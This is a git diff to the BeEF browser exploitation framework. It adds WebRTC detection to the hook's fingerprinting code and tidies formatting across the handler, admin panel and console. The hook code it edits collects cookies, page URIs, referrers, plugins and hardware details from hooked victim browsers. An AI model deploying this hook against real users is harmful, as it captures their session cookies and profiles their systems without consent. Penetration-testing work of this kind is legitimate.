diff --git a/core/main/client/browser.js b/core/main/client/browser.js
index 736b5f7b5..4efc5d63c 100644
--- a/core/main/client/browser.js
+++ b/core/main/client/browser.js
@@ -1463,63 +1463,64 @@ beef.browser = {
getDetails:function () {
var details = new Array();
- var browser_name = beef.browser.getBrowserName();
- var browser_version = beef.browser.getBrowserVersion();
+ var browser_name = beef.browser.getBrowserName();
+ var browser_version = beef.browser.getBrowserVersion();
var browser_reported_name = beef.browser.getBrowserReportedName();
- var page_title = (document.title) ? document.title : "Unknown";
- var page_uri = document.location.href;
- var page_referrer = (document.referrer) ? document.referrer : "Unknown";
- var hostname = document.location.hostname;
- var hostport = (document.location.port) ? document.location.port : "80";
- var browser_plugins = beef.browser.getPlugins();
- var date_stamp = new Date().toString();
- var os_name = beef.os.getName();
- var hw_name = beef.hardware.getName();
- var cpu_type = beef.hardware.cpuType();
- var touch_enabled = (beef.hardware.isTouchEnabled()) ? "Yes" : "No";
+ var page_title = (document.title) ? document.title : "Unknown";
+ var page_uri = (document.location.href) ? document.location.href : "Unknown";
+ var page_referrer = (document.referrer) ? document.referrer : "Unknown";
+ var hostname = (document.location.hostname) ? document.location.hostname : "Unknown";
+ var hostport = (document.location.port) ? document.location.port : "80";
+ var browser_plugins = beef.browser.getPlugins();
+ var date_stamp = new Date().toString();
+ var os_name = beef.os.getName();
+ var hw_name = beef.hardware.getName();
+ var cpu_type = beef.hardware.cpuType();
+ var touch_enabled = (beef.hardware.isTouchEnabled()) ? "Yes" : "No";
var browser_platform = (typeof(navigator.platform) != "undefined" && navigator.platform != "") ? navigator.platform : null;
var browser_type = JSON.stringify(beef.browser.type(), function (key, value) {
if (value == true) return value; else if (typeof value == 'object') return value; else return;
});
- var screen_size = beef.browser.getScreenSize();
- var window_size = beef.browser.getWindowSize();
- var java_enabled = (beef.browser.javaEnabled()) ? "Yes" : "No";
- var vbscript_enabled = (beef.browser.hasVBScript()) ? "Yes" : "No";
- var has_flash = (beef.browser.hasFlash()) ? "Yes" : "No";
- var has_phonegap = (beef.browser.hasPhonegap()) ? "Yes" : "No";
- var has_googlegears = (beef.browser.hasGoogleGears()) ? "Yes" : "No";
- var has_web_socket = (beef.browser.hasWebSocket()) ? "Yes" : "No";
- var has_activex = (beef.browser.hasActiveX()) ? "Yes" : "No";
- var has_silverlight = (beef.browser.hasSilverlight()) ? "Yes" : "No";
- var has_quicktime = (beef.browser.hasQuickTime()) ? "Yes" : "No";
- var has_realplayer = (beef.browser.hasRealPlayer()) ? "Yes" : "No";
- var has_wmp = (beef.browser.hasWMP()) ? "Yes" : "No";
- var has_vlc = (beef.browser.hasVLC()) ? "Yes" : "No";
- var has_foxit = (beef.browser.hasFoxit()) ? "Yes" : "No";
+ var screen_size = beef.browser.getScreenSize();
+ var window_size = beef.browser.getWindowSize();
+ var java_enabled = (beef.browser.javaEnabled()) ? "Yes" : "No";
+ var vbscript_enabled = (beef.browser.hasVBScript()) ? "Yes" : "No";
+ var has_flash = (beef.browser.hasFlash()) ? "Yes" : "No";
+ var has_phonegap = (beef.browser.hasPhonegap()) ? "Yes" : "No";
+ var has_googlegears = (beef.browser.hasGoogleGears()) ? "Yes" : "No";
+ var has_web_socket = (beef.browser.hasWebSocket()) ? "Yes" : "No";
+ var has_webrtc = (beef.browser.hasWebRTC()) ? "Yes" : "No";
+ var has_activex = (beef.browser.hasActiveX()) ? "Yes" : "No";
+ var has_silverlight = (beef.browser.hasSilverlight()) ? "Yes" : "No";
+ var has_quicktime = (beef.browser.hasQuickTime()) ? "Yes" : "No";
+ var has_realplayer = (beef.browser.hasRealPlayer()) ? "Yes" : "No";
+ var has_wmp = (beef.browser.hasWMP()) ? "Yes" : "No";
+ var has_vlc = (beef.browser.hasVLC()) ? "Yes" : "No";
+ var has_foxit = (beef.browser.hasFoxit()) ? "Yes" : "No";
try{
var cookies = document.cookie;
var has_session_cookies = (beef.browser.cookie.hasSessionCookies("cookie")) ? "Yes" : "No";
var has_persistent_cookies = (beef.browser.cookie.hasPersistentCookies("cookie")) ? "Yes" : "No";
- if (cookies) details["Cookies"] = cookies;
- if (has_session_cookies) details["hasSessionCookies"] = has_session_cookies;
- if (has_persistent_cookies) details["hasPersistentCookies"] = has_persistent_cookies;
+ if (cookies) details['Cookies'] = cookies;
+ if (has_session_cookies) details['hasSessionCookies'] = has_session_cookies;
+ if (has_persistent_cookies) details['hasPersistentCookies'] = has_persistent_cookies;
}catch(e){
// the hooked domain is using HttpOnly. EverCookie is persisting the BeEF hook in a different way,
// and there is no reason to read cookies at this point
- details["Cookies"] = "Cookies can't be read. The hooked domain is most probably using HttpOnly.";
- details["hasSessionCookies"] = "No";
- details["hasPersistentCookies"] = "No";
+ details['Cookies'] = "Cookies can't be read. The hooked domain is most probably using HttpOnly.";
+ details['hasSessionCookies'] = "No";
+ details['hasPersistentCookies'] = "No";
}
- if (browser_name) details["BrowserName"] = browser_name;
- if (browser_version) details["BrowserVersion"] = browser_version;
- if (browser_reported_name) details["BrowserReportedName"] = browser_reported_name;
- if (page_title) details["PageTitle"] = page_title;
- if (page_uri) details["PageURI"] = page_uri;
- if (page_referrer) details["PageReferrer"] = page_referrer;
- if (hostname) details["HostName"] = hostname;
- if (hostport) details["HostPort"] = hostport;
- if (browser_plugins) details["BrowserPlugins"] = browser_plugins;
+ if (browser_name) details['BrowserName'] = browser_name;
+ if (browser_version) details['BrowserVersion'] = browser_version;
+ if (browser_reported_name) details['BrowserReportedName'] = browser_reported_name;
+ if (page_title) details['PageTitle'] = page_title;
+ if (page_uri) details['PageURI'] = page_uri;
+ if (page_referrer) details['PageReferrer'] = page_referrer;
+ if (hostname) details['HostName'] = hostname;
+ if (hostport) details['HostPort'] = hostport;
+ if (browser_plugins) details['BrowserPlugins'] = browser_plugins;
if (os_name) details['OsName'] = os_name;
if (hw_name) details['Hardware'] = hw_name;
if (cpu_type) details['CPU'] = cpu_type;
@@ -1530,11 +1531,12 @@ beef.browser = {
if (screen_size) details['ScreenSize'] = screen_size;
if (window_size) details['WindowSize'] = window_size;
if (java_enabled) details['JavaEnabled'] = java_enabled;
- if (vbscript_enabled) details['VBScriptEnabled'] = vbscript_enabled
- if (has_flash) details['HasFlash'] = has_flash
- if (has_phonegap) details['HasPhonegap'] = has_phonegap
- if (has_web_socket) details['HasWebSocket'] = has_web_socket
- if (has_googlegears) details['HasGoogleGears'] = has_googlegears
+ if (vbscript_enabled) details['VBScriptEnabled'] = vbscript_enabled;
+ if (has_flash) details['HasFlash'] = has_flash;
+ if (has_phonegap) details['HasPhonegap'] = has_phonegap;
+ if (has_web_socket) details['HasWebSocket'] = has_web_socket;
+ if (has_googlegears) details['HasGoogleGears'] = has_googlegears;
+ if (has_webrtc) details['HasWebRTC'] = has_webrtc;
if (has_activex) details['HasActiveX'] = has_activex;
if (has_silverlight) details['HasSilverlight'] = has_silverlight;
if (has_quicktime) details['HasQuickTime'] = has_quicktime;
@@ -1553,6 +1555,13 @@ beef.browser = {
return !!window.ActiveXObject;
},
+ /**
+ * Returns boolean value depending on whether the browser supports WebRTC
+ */
+ hasWebRTC:function () {
+ return (!!window.mozRTCPeerConnection || !!window.webkitRTCPeerConnection);
+ },
+
/**
* Returns boolean value depending on whether the browser supports Silverlight
*/
diff --git a/core/main/handlers/browserdetails.rb b/core/main/handlers/browserdetails.rb
index ae9218d65..46a3b610d 100644
--- a/core/main/handlers/browserdetails.rb
+++ b/core/main/handlers/browserdetails.rb
@@ -255,6 +255,14 @@ module BeEF
self.err_msg "Invalid value for HasWebSocket returned from the hook browser's initial connection."
end
+ # get and store the yes|no value for HasWebRTC
+ has_webrtc = get_param(@data['results'], 'HasWebRTC')
+ if BeEF::Filters.is_valid_yes_no?(has_webrtc)
+ BD.set(session_id, 'HasWebRTC', has_webrtc)
+ else
+ self.err_msg "Invalid value for HasWebRTC returned from the hook browser's initial connection."
+ end
+
# get and store the yes|no value for HasActiveX
has_activex = get_param(@data['results'], 'HasActiveX')
if BeEF::Filters.is_valid_yes_no?(has_activex)
diff --git a/extensions/admin_ui/controllers/modules/modules.rb b/extensions/admin_ui/controllers/modules/modules.rb
index 3d71bc7aa..7e8f5a280 100644
--- a/extensions/admin_ui/controllers/modules/modules.rb
+++ b/extensions/admin_ui/controllers/modules/modules.rb
@@ -86,6 +86,7 @@ class Modules < BeEF::Extension::AdminUI::HttpController
['Browser Components', 'Windows Media Player','HasWMP'],
['Browser Components', 'VLC', 'HasVLC'],
['Browser Components', 'Foxit Reader', 'HasFoxit'],
+ ['Browser Components', 'WebRTC', 'HasWebRTC'],
['Browser Components', 'ActiveX', 'HasActiveX'],
['Browser Components', 'Session Cookies', 'hasSessionCookies'],
['Browser Components', 'Persistent Cookies', 'hasPersistentCookies'],
diff --git a/extensions/admin_ui/controllers/panel/panel.rb b/extensions/admin_ui/controllers/panel/panel.rb
index 22eeb00b6..255deef34 100644
--- a/extensions/admin_ui/controllers/panel/panel.rb
+++ b/extensions/admin_ui/controllers/panel/panel.rb
@@ -88,6 +88,7 @@ module BeEF
has_web_sockets = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasWebSocket')
has_googlegears = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasGoogleGears')
has_java = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'JavaEnabled')
+ has_webrtc = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasWebRTC')
has_activex = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasActiveX')
has_silverlight = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasSilverlight')
has_quicktime = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasQuickTime')
@@ -113,6 +114,7 @@ module BeEF
'has_web_sockets' => has_web_sockets,
'has_googlegears' => has_googlegears,
'has_java' => has_java,
+ 'has_webrtc' => has_webrtc,
'has_activex' => has_activex,
'has_silverlight' => has_silverlight,
'has_quicktime' => has_quicktime,
diff --git a/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js b/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js
index d983ba4a9..edcb09c5e 100644
--- a/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js
+++ b/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js
@@ -27,10 +27,11 @@ var ZombiesMgr = function(zombies_tree_lists) {
var has_web_sockets = zombie_array[index]["has_web_sockets"];
var has_googlegears = zombie_array[index]["has_googlegears"];
var has_java = zombie_array[index]["has_java"];
+ var has_webrtc = zombie_array[index]["has_webrtc"];
var has_activex = zombie_array[index]["has_activex"];
- var has_wmp = zombie_array[index]["has_wmp"];
+ var has_wmp = zombie_array[index]["has_wmp"];
var has_vlc = zombie_array[index]["has_vlc"];
- var has_foxit = zombie_array[index]["has_foxit"];
+ var has_foxit = zombie_array[index]["has_foxit"];
var has_silverlight = zombie_array[index]["has_silverlight"];
var has_quicktime = zombie_array[index]["has_quicktime"];
var has_realplayer = zombie_array[index]["has_realplayer"];
@@ -47,14 +48,15 @@ var ZombiesMgr = function(zombies_tree_lists) {
balloon_text+= "
Hardware: " + hw_name;
balloon_text+= "
Domain: " + domain + ":" + port;
balloon_text+= "
Flash: " + has_flash;
- balloon_text+= "
Java: " + has_java;
- balloon_text+= "
Web Sockets: " + has_web_sockets;
+ balloon_text+= "
Java: " + has_java;
+ balloon_text+= "
Web Sockets: " + has_web_sockets;
+ balloon_text+= "
WebRTC: " + has_webrtc;
balloon_text+= "
ActiveX: " + has_activex;
balloon_text+= "
Silverlight: " + has_silverlight;
balloon_text+= "
QuickTime: " + has_quicktime;
- balloon_text+= "
Windows MediaPlayer: " + has_wmp;
- balloon_text+= "
VLC: " + has_vlc;
- balloon_text+= "
Foxit: " + has_foxit;
+ balloon_text+= "
Windows MediaPlayer: " + has_wmp;
+ balloon_text+= "
VLC: " + has_vlc;
+ balloon_text+= "
Foxit: " + has_foxit;
balloon_text+= "
RealPlayer: " + has_realplayer;
balloon_text+= "
Google Gears: " + has_googlegears;
balloon_text+= "
Date: " + date_stamp;
@@ -67,7 +69,7 @@ var ZombiesMgr = function(zombies_tree_lists) {
'balloon_text' : balloon_text,
'check' : false,
'domain' : domain,
- 'port' : port
+ 'port' : port
};
return new_zombie;
diff --git a/extensions/console/lib/shellinterface.rb b/extensions/console/lib/shellinterface.rb
index ff9082626..2051dd7cc 100644
--- a/extensions/console/lib/shellinterface.rb
+++ b/extensions/console/lib/shellinterface.rb
@@ -302,6 +302,7 @@ class ShellInterface
['Browser Components', 'Windows Media Player','HasWMP'],
['Browser Components', 'VLC', 'HasVLC'],
['Browser Components', 'Foxit', 'HasFoxit'],
+ ['Browser Components', 'WebRTC', 'HasWebRTC'],
['Browser Components', 'ActiveX', 'HasActiveX'],
['Browser Components', 'Session Cookies', 'hasSessionCookies'],
['Browser Components', 'Persistent Cookies', 'hasPersistentCookies'],
@@ -310,7 +311,7 @@ class ShellInterface
['Hooked Page', 'Page Title', 'PageTitle'],
['Hooked Page', 'Page URI', 'PageURI'],
['Hooked Page', 'Page Referrer', 'PageReferrer'],
- ['Hooked Page', 'Hook Host', 'HostName'],
+ ['Hooked Page', 'Hook Host', 'HostName'],
['Hooked Page', 'Cookies', 'Cookies'],
# Host